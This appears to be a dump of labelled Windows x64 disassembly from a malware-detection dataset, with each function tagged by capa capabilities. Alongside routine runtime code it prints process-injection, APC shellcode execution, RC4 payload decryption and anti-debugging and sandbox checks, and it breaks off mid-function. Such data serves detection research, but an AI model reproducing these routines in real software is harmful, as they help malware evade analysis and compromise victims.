joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14008afc0
Capabilities:
Set environment variable

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
sub rsp, 0x90
mov rax, qword [0x1400cc040]
xor rax, rsp
mov qword [rsp + 0x80], rax
xor eax, eax
lea rbx, [rsp + 0x30]
mov rbp, rdx
mov word [rsp + 0x30], ax
movzx edx, byte [rcx]
mov rsi, rcx
lea edi, [rax + 0x28]
test dl, dl
je 0x14008b065
nop dword [rax]
cmp word [rbx], 0
mov rcx, rdi
mov rax, rbx
je 0x14008b01d
nop dword [rax]
add rax, 2
dec rcx
cmp word [rax], 0
jne 0x14008b010
cmp rcx, 1
jb 0x14008b096
mov byte [rsp + 0x20], dl
mov rcx, 0xffffffffffffffff
mov byte [rsp + 0x21], 0
cmp word [rax + rcx*2 + 2], 0
lea rcx, [rcx + 1]
jne 0x14008b033
lea rcx, [rax + rcx*2]
mov r8d, 2
lea rdx, [rsp + 0x20]
call fcn.14009ad44
movzx edx, byte [rsi + 1]
inc rsi
add rbx, 2
dec rdi
test dl, dl
jne 0x14008b000
mov rdx, rbp
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.14008b440
mov rbx, qword [rsp + 0xc0]
add rsp, 0x90
pop rdi
pop rsi
pop rbp
ret
call fcn.14008fad0
int3

Function at 0x14008b2d0
Capabilities:
Set environment variable

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x90
mov rax, qword [0x1400cc040]
xor rax, rsp
mov qword [rsp + 0x80], rax
movzx edx, byte [rcx]
lea rbx, [rsp + 0x30]
xor eax, eax
mov rsi, rcx
mov word [rsp + 0x30], ax
lea edi, [rax + 0x28]
test dl, dl
je 0x14008b375
nop dword [rax]
cmp word [rbx], 0
mov rcx, rdi
mov rax, rbx
je 0x14008b32d
nop dword [rax]
add rax, 2
dec rcx
cmp word [rax], 0
jne 0x14008b320
cmp rcx, 1
jb 0x14008b3a7
mov byte [rsp + 0x20], dl
mov rcx, 0xffffffffffffffff
mov byte [rsp + 0x21], 0
cmp word [rax + rcx*2 + 2], 0
lea rcx, [rcx + 1]
jne 0x14008b343
lea rcx, [rax + rcx*2]
mov r8d, 2
lea rdx, [rsp + 0x20]
call fcn.14009ad44
movzx edx, byte [rsi + 1]
inc rsi
add rbx, 2
dec rdi
test dl, dl
jne 0x14008b310
xor edx, edx
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.14008b440
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
call fcn.14008fad0
int3

Function at 0x14008bea8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14008bef2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14008bef2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14008bef2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14008bef2
cmp dword [rcx + 0x84], 0xe
jbe 0x14008bef2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14008bef4
xor al, al
add rsp, 0x28
ret
Function at 0x140091348
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x1400911b3
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400911b3
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400911b3
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400911b3
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400911b3
cmp dword [rcx + 0x84], 0xe
jbe 0x1400911b3
cmp dword [rcx + 0xf8], 0
je 0x1400911b3
mov ecx, ebx
call fcn.140091264
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.140091040
nop
cmp dword [rbp + 0x20], 0
je 0x140091201
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14009120c
int3
xor r8d, r8d
xor edx, edx
jmp 0x140091144
Function at 0x1400a2bd0
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x1400a2c57
mov rsi, rbx
cmp word [rax], bp
je 0x1400a2c16
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x1400a2c00
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x1400a2bfc
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.14009e23c
mov rdi, rax
test rax, rax
je 0x1400a2c44
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.1400a8890
mov rbp, rdi
xor ecx, ecx
call fcn.14009ed84
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x1400a6370
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x1400a6386
mov al, 1
jmp 0x1400a63e6
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x1400a6397
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x1400a63e4
mov ecx, dword [rcx + 0x18]
nop
call fcn.1400a2f18
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400a63e4
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x1400a63e4
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x1400a63e4
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x1400a63e6
xor al, al
add rsp, 0x20
pop rbx
ret

Function at 0x1400a86e0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1400a8708
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x1400a8708
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x1400783c0
Capabilities:
Read file on windows

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov r12, qword [sym.imp.msvcrt.dll__errno]
mov rdi, rcx
mov rsi, rdx
mov ebx, r8d
mov rcx, qword [rdi]
call sub.msvcrt.dll__fileno_1
mov ecx, eax
mov r8d, ebx
mov rdx, rsi
call sub.msvcrt.dll__read
movsxd rbp, eax
cmp eax, 0xffffffff
je 0x140078408
mov rax, rbp
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
call r12
cmp dword [rax], 4
je 0x1400783da
mov rax, rbp
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret

Function at 0x1400b2c90
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
lea rcx, [0x1400d05e0]
jmp 0x14000c130

Function at 0x1400b2ca0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
lea rcx, [0x1400d05e0]
jmp 0x14000c130

Function at 0x1400b3150
Capabilities:
Create thread
Inject thread

Disassembly:
push rdi
push rsi
push rbx
add rsp, 0xffffffffffffff80
lea rsi, [0x1400b41e0]
call fcn.14000a610
call qword [sym.imp.KERNEL32.dll_FreeConsole]
mov rbx, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x68], 0
mov qword [rsp + 0x70], 0x19600
call rbx
xor r8d, r8d
lea rdx, [rsp + 0x68]
lea r9, [rsp + 0x70]
mov dword [rsp + 0x28], 4
mov rcx, rax
mov dword [rsp + 0x20], 0x3000
call sub.ntdll.dll_NtAllocateVirtualMemory
call fcn.140015780
mov edx, dword [0x1400cd7e0]
mov r9d, 0x10
mov rcx, rsi
lea r8, [0x1400d0600]
call fcn.1400155f0
mov rdi, qword [rsp + 0x68]
call rbx
mov r9d, 0x19600
mov r8, rsi
mov qword [rsp + 0x20], 0
mov rcx, rax
mov rdx, rdi
call sub.ntdll.dll_NtWriteVirtualMemory
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x68]
lea r9, [rsp + 0x64]
mov r8d, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1400b3298
call fcn.140015780
mov rsi, qword [rsp + 0x68]
call rbx
lea rcx, [rsp + 0x78]
xor r8d, r8d
mov edx, 0x1fffff
mov qword [rsp + 0x50], 0
mov r9, rax
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], rsi
call sub.ntdll.dll_NtCreateThreadEx
call fcn.140015780
mov rcx, qword [rsp + 0x78]
xor r8d, r8d
xor edx, edx
call sub.ntdll.dll_NtWaitForSingleObject
call fcn.140015780
mov rcx, qword [rsp + 0x78]
call sub.ntdll.dll_NtClose
xor eax, eax
sub rsp, 0xffffffffffffff80
pop rbx
pop rsi
pop rdi
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.VirtualProtect_failed_with_error_code:__lx_n
mov edx, eax
call fcn.140015be0
or eax, 0xffffffff
jmp 0x1400b3290
Function at 0x1400074c0
Capabilities:
Read file on windows

Disassembly:
push rsi
push r12
push r13
push r14
push r15
sub rsp, 0x20
mov r12, rcx
mov rsi, r8
mov ecx, 0x2000
mov r14, rdx
xor r13d, r13d
call fcn.14001575c
mov r15, rax
test rax, rax
je 0x1400075d3
xor edx, edx
lea r8d, [r13 + 2]
mov rcx, r12
call fcn.1400102a4
test eax, eax
js 0x1400075d3
mov rcx, r12
mov qword [rsp + 0x50], rbx
call fcn.140019904
mov rbx, rax
cmp rax, rsi
jb 0x1400075ce
mov qword [rsp + 0x58], rbp
mov qword [rsp + 0x60], rdi
nop dword [rax]
cmp rbx, 0x2000
lea rbp, [rbx - 0x2000]
cmovb rbp, r13
sub rbx, rbp
cmp rbx, rsi
jb 0x1400075c4
xor r8d, r8d
mov rdx, rbp
mov rcx, r12
call fcn.1400102a4
test eax, eax
js 0x1400075c4
mov r9, r12
mov r8, rbx
mov edx, 1
mov rcx, r15
call fcn.14000ff6c
cmp rax, rbx
jne 0x1400075c4
sub rbx, rsi
add rbx, 1
je 0x1400075ab
lea rdi, [r15 - 1]
add rdi, rbx
nop dword [rax]
nop dword [rax + rax]
mov r8, rsi
mov rdx, r14
mov rcx, rdi
call fcn.14002b540
test eax, eax
je 0x1400075bd
dec rdi
sub rbx, 1
jne 0x140007590
lea rbx, [rsi - 1]
add rbx, rbp
test rbp, rbp
jne 0x140007530
jmp 0x1400075c4
lea r13, [rbp - 1]
add r13, rbx
mov rbp, qword [rsp + 0x58]
mov rdi, qword [rsp + 0x60]
mov rbx, qword [rsp + 0x50]
mov rcx, r15
call fcn.140015748
mov rax, r13
add rsp, 0x20
pop r15
pop r14
pop r13
pop r12
pop rsi
ret
Function at 0x14000bcec
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [0x14002c190]
test rax, rax
je 0x14000bd36
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000bd36
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000bd36
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000bd36
cmp dword [rcx + 0x84], 0xe
jbe 0x14000bd36
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000bd38
xor al, al
add rsp, 0x28
ret

Function at 0x14001a98c
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14001a788

Function at 0x14002ac60
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14002ac88
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x14002ac88
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140016d1c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140016d66
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140016d66
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140016d66
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140016d66
cmp dword [rcx + 0x84], 0xe
jbe 0x140016d66
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140016d68
xor al, al
add rsp, 0x28
ret

Function at 0x140017964
Capabilities:
Enumerate pe sections

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
movsxd r8, dword [0x14000003c]
lea rsi, [0x140000000]
add r8, rsi
mov rbx, rdx
mov rdi, rcx
cmp dword [r8 + 0x84], 0xd
jbe 0x1400179dc
mov r10d, dword [r8 + 0xf0]
xor r9d, r9d
test r10d, r10d
je 0x1400179dc
movzx ecx, word [r8 + 0x14]
movzx r11d, word [r8 + 6]
add rcx, 0x18
mov r10d, dword [r10 + rsi + 0xc]
add rcx, r8
test r11d, r11d
je 0x1400179dc
mov eax, dword [rcx + 0xc]
cmp r10d, eax
jb 0x1400179d0
mov edx, dword [rcx + 8]
add eax, edx
cmp r10d, eax
jb 0x1400179ee
inc r9d
add rcx, 0x28
cmp r9d, r11d
jb 0x1400179be
xor eax, eax
mov rbx, qword [rsp + 8]
mov rsi, qword [rsp + 0x10]
mov rdi, qword [rsp + 0x18]
ret
mov dword [rdi], edx
mov eax, dword [rcx + 0x24]
mov dword [rbx], eax
mov eax, dword [rcx + 0xc]
add rax, rsi
jmp 0x1400179de

Function at 0x1400223c8
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x30
xor edi, edi
mov esi, edx
mov rbp, rcx
test r8, r8
jne 0x1400223ff
call fcn.1400251c8
mov dword [rax], 0x16
call fcn.140032b94
xor eax, eax
jmp 0x14002248d
mov rdx, r9
mov rcx, r8
call fcn.1400224b0
mov rbx, rax
test rax, rax
je 0x14002248a
lea rax, [rsp + 0x50]
mov rdx, rsi
mov qword [rsp + 0x28], rax
lea r8, [0x140022520]
mov eax, dword [rsp + 0x60]
mov r9, rbx
mov rcx, rbp
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdx, rax
test rax, rax
jne 0x140022477
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.140025208
mov rcx, qword [rbx + 0x10]
test rcx, rcx
je 0x14002245e
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbx + 0x18]
test rcx, rcx
je 0x14002246d
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, rbx
call fcn.14000fa50
jmp 0x14002248a
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x140022487
mov eax, dword [rsp + 0x50]
mov dword [rcx], eax
mov rdi, rdx
mov rax, rdi
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret
Function at 0x1400010b4
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rsi
push rbx
sub rsp, 0x228
movabs rax, 0x1423bb56419a5974
mov r10, rdx
mov qword [rsp], rax
mov r9, rcx
lea rbx, [rsp + 0x20]
movabs rdx, 0x159aa1c3d0225a74
lea rcx, [rsp + 0x120]
movabs rax, 0x993c2b002ebe091
mov qword [rsp + 8], rdx
movabs rdx, 0x295a161ccc51f477
mov qword [rsp + 0x18], rdx
mov qword [rsp + 0x10], rax
xor eax, eax
mov rdx, rax
mov byte [rax + rcx], al
inc rax
and edx, 0x1f
mov dl, byte [rsp + rdx]
mov byte [rax + rbx - 1], dl
cmp rax, 0x100
jne 0x14000110d
xor edx, edx
xor r11d, r11d
mov r8b, byte [rcx + rdx]
mov al, byte [rbx + rdx]
add eax, r8d
add eax, r11d
movzx r11d, al
movzx eax, al
mov sil, byte [rsp + rax + 0x120]
mov byte [rsp + rax + 0x120], r8b
mov byte [rcx + rdx], sil
inc rdx
cmp rdx, 0x100
jne 0x14000112d
xor edx, edx
xor ebx, ebx
xor r11d, r11d
cmp rdx, r10
je 0x1400011bb
lea ecx, [rbx + 1]
movzx ebx, cl
movzx ecx, cl
mov al, byte [rsp + rcx + 0x120]
lea r8d, [rax + r11]
movzx r11d, r8b
movzx r8d, r8b
mov sil, byte [rsp + r8 + 0x120]
mov byte [rsp + rcx + 0x120], sil
mov byte [rsp + r8 + 0x120], al
add al, byte [rsp + rcx + 0x120]
movzx eax, al
mov al, byte [rsp + rax + 0x120]
xor byte [r9 + rdx], al
inc rdx
jmp 0x140001168
mov rax, rdx
add rsp, 0x228
pop rbx
pop rsi
ret

Function at 0x140001346
Capabilities:
Check for peb ntglobalflag flag

Disassembly:
mov rax, qword gs:[0x60]
test byte [rax + 0xbc], 0x70
setne al
ret

Function at 0x14000135a
Capabilities:
Check for outputdebugstring error
Print debug messages

Disassembly:
sub rsp, 0x28
mov ecx, 0x7331c0de
call qword [sym.imp.KERNEL32.dll_SetLastError]
lea rcx, [0x140004040]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7331c0de
setne al
add rsp, 0x28
ret

Function at 0x1400013be
Capabilities:
Get memory capacity

Disassembly:
sub rsp, 0x68
mov dword [rsp + 0x20], 0x40
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
cmp qword [rsp + 0x28], 0x7fffffff
setbe al
add rsp, 0x68
ret

Function at 0x14000154f
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
xor eax, eax
mov r10, rcx
mov rcx, rdx
cmp word [r10], 0x5a4d
jne 0x1400015c9
movsxd rdx, dword [r10 + 0x3c]
add rdx, r10
cmp dword [rdx], 0x4550
jne 0x1400015c9
mov ebx, dword [rdx + 0x88]
xor r11d, r11d
add rbx, r10
mov esi, dword [rbx + 0x20]
mov edi, dword [rbx + 0x14]
add rsi, r10
cmp r11d, edi
jae 0x1400015c7
mov edx, dword [rsi + r11*4]
add rdx, r10
call fcn.14000152d
mov edx, eax
lea rax, [r11 + 1]
test edx, edx
jne 0x1400015c2
mov eax, dword [rbx + 0x24]
add r11, r11
add r11, r10
movzx edx, word [r11 + rax]
mov eax, dword [rbx + 0x1c]
lea rdx, [r10 + rdx*4]
mov eax, dword [rdx + rax]
add rax, r10
jmp 0x1400015c9
mov r11, rax
jmp 0x14000158a
xor eax, eax
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
Function at 0x1400016f8
Capabilities:
Access peb ldr_data

Disassembly:
push rbx
sub rsp, 0x20
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov r11, qword [rax + 0x20]
mov rbx, rcx
test r11, r11
je 0x14000173c
cmp word [r11 + 0x48], 0
je 0x140001739
mov rcx, qword [r11 + 0x50]
mov rdx, rbx
call fcn.140001683
test eax, eax
jne 0x140001734
mov r11, qword [r11 + 0x20]
jmp 0x14000173c
mov r11, qword [r11]
jmp 0x140001711
xor r11d, r11d
mov rax, r11
add rsp, 0x20
pop rbx
ret
Function at 0x1400010c2
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rsi
push rbx
sub rsp, 0x228
movabs rax, 0x1423bb56419a5974
mov r10, rdx
mov qword [rsp], rax
mov r9, rcx
lea rbx, [rsp + 0x20]
movabs rdx, 0x159aa1c3d0225a74
lea rcx, [rsp + 0x120]
movabs rax, 0x993c2b002ebe091
mov qword [rsp + 8], rdx
movabs rdx, 0x295a161ccc51f477
mov qword [rsp + 0x18], rdx
mov qword [rsp + 0x10], rax
xor eax, eax
mov rdx, rax
mov byte [rax + rcx], al
inc rax
and edx, 0x1f
mov dl, byte [rsp + rdx]
mov byte [rax + rbx - 1], dl
cmp rax, 0x100
jne 0x14000111b
xor edx, edx
xor r11d, r11d
mov r8b, byte [rcx + rdx]
mov al, byte [rbx + rdx]
add eax, r8d
add eax, r11d
movzx r11d, al
movzx eax, al
mov sil, byte [rsp + rax + 0x120]
mov byte [rsp + rax + 0x120], r8b
mov byte [rcx + rdx], sil
inc rdx
cmp rdx, 0x100
jne 0x14000113b
xor edx, edx
xor ebx, ebx
xor r11d, r11d
cmp rdx, r10
je 0x1400011c9
lea ecx, [rbx + 1]
movzx ebx, cl
movzx ecx, cl
mov al, byte [rsp + rcx + 0x120]
lea r8d, [rax + r11]
movzx r11d, r8b
movzx r8d, r8b
mov sil, byte [rsp + r8 + 0x120]
mov byte [rsp + rcx + 0x120], sil
mov byte [rsp + r8 + 0x120], al
add al, byte [rsp + rcx + 0x120]
movzx eax, al
mov al, byte [rsp + rax + 0x120]
xor byte [r9 + rdx], al
inc rdx
jmp 0x140001176
mov rax, rdx
add rsp, 0x228
pop rbx
pop rsi
ret

Function at 0x140001354
Capabilities:
Check for peb ntglobalflag flag

Disassembly:
mov rax, qword gs:[0x60]
test byte [rax + 0xbc], 0x70
setne al
ret

Function at 0x140001368
Capabilities:
Check for outputdebugstring error
Print debug messages

Disassembly:
sub rsp, 0x28
mov ecx, 0x7331c0de
call qword [sym.imp.KERNEL32.dll_SetLastError]
lea rcx, [0x140004040]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7331c0de
setne al
add rsp, 0x28
ret

Function at 0x140001571
Capabilities:
Get memory capacity

Disassembly:
sub rsp, 0x68
mov dword [rsp + 0x20], 0x40
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
cmp qword [rsp + 0x28], 0x7fffffff
setbe al
add rsp, 0x68
ret
Function at 0x140001a1d
Capabilities:
Link many functions at runtime

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x40
mov rax, qword [0x1400481a8]
mov rdi, rcx
mov rbx, rdx
test rax, rax
jne 0x140001a77
mov rcx, qword [section..bss]
mov rsi, qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.VirtualAlloc
test rcx, rcx
jne 0x140001a6e
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, str.VirtualAlloc
mov qword [section..bss], rax
mov rcx, rax
call rsi
mov qword [0x1400481a8], rax
xor ecx, ecx
mov r8d, 0x3000
mov rdx, rbx
mov r9d, 0x40
call rax
mov r8, rbx
mov rdx, rdi
mov rcx, rax
mov rsi, rax
call fcn.140001a04
test rax, rax
je 0x140001c27
mov rax, qword [0x140048070]
xor ecx, ecx
lea rbx, [rsp + 0x3c]
mov dword [rsp + 0x3c], ecx
test rax, rax
jne 0x140001afc
mov rcx, qword [section..bss]
mov rdi, qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.CreateThread
test rcx, rcx
jne 0x140001af3
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, str.CreateThread
mov qword [section..bss], rax
mov rcx, rax
call rdi
mov qword [0x140048070], rax
xor edx, edx
mov qword [rsp + 0x28], rbx
xor r9d, r9d
xor ecx, ecx
mov dword [rsp + 0x20], edx
lea r8, [0x14000109a]
xor edx, edx
call rax
mov rbx, rax
test rax, rax
je 0x140001c27
mov rax, qword [0x140048160]
test rax, rax
jne 0x140001b70
mov rcx, qword [section..bss]
mov rdi, qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.QueueUserAPC
test rcx, rcx
jne 0x140001b67
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, str.QueueUserAPC
mov qword [section..bss], rax
mov rcx, rax
call rdi
mov qword [0x140048160], rax
xor r8d, r8d
mov rdx, rbx
mov rcx, rsi
call rax
test eax, eax
je 0x140001bd4
mov rax, qword [0x1400481d0]
test rax, rax
jne 0x140001bcc
mov rcx, qword [section..bss]
mov rsi, qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.WaitForSingleObject
test rcx, rcx
jne 0x140001bc3
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, str.WaitForSingleObject
mov qword [section..bss], rax
mov rcx, rax
call rsi
mov qword [0x1400481d0], rax
or edx, 0xffffffff
mov rcx, rbx
call rax
mov rax, qword [0x140048020]
test rax, rax
jne 0x140001c21
mov rcx, qword [section..bss]
mov rsi, qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.CloseHandle
test rcx, rcx
jne 0x140001c18
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, str.CloseHandle
mov qword [section..bss], rax
mov rcx, rax
call rsi
mov qword [0x140048020], rax
mov rcx, rbx
call rax
nop
add rsp, 0x40
pop rbx
pop rsi
pop rdi
ret
Function at 0x140001460
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x88
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
cmp dword [rax], 0x4550
je 0x1400014b4
xor eax, eax
jmp 0x1400015b1
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rsp + 0x40]
mov eax, dword [rcx + rax + 0x88]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
mov eax, dword [rax + 0x20]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x38]
mov eax, dword [rax + 0x1c]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x38]
mov eax, dword [rax + 0x24]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x58], rax
mov dword [rsp + 0x20], 0
jmp 0x140001535
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x38]
mov eax, dword [rax + 0x14]
cmp dword [rsp + 0x20], eax
jae 0x1400015af
movsxd rax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x50]
mov eax, dword [rcx + rax*4]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x60], rax
movsxd rax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x58]
movzx eax, word [rcx + rax*2]
mov word [rsp + 0x30], ax
mov rcx, qword [rsp + 0x60]
call fcn.1400015c0
cmp dword [rsp + 0x98], eax
jne 0x1400015aa
movzx eax, word [rsp + 0x30]
mov rcx, qword [rsp + 0x68]
mov eax, dword [rcx + rax*4]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0x70]
jmp 0x1400015b1
jmp 0x14000152b
xor eax, eax
add rsp, 0x88
ret

Function at 0x140001910
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x18
mov rax, qword [rsp + 0x20]
mov qword [rsp], rax
mov rax, qword [rsp]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140001939
xor eax, eax
jmp 0x14000198f
mov rax, qword [rsp]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
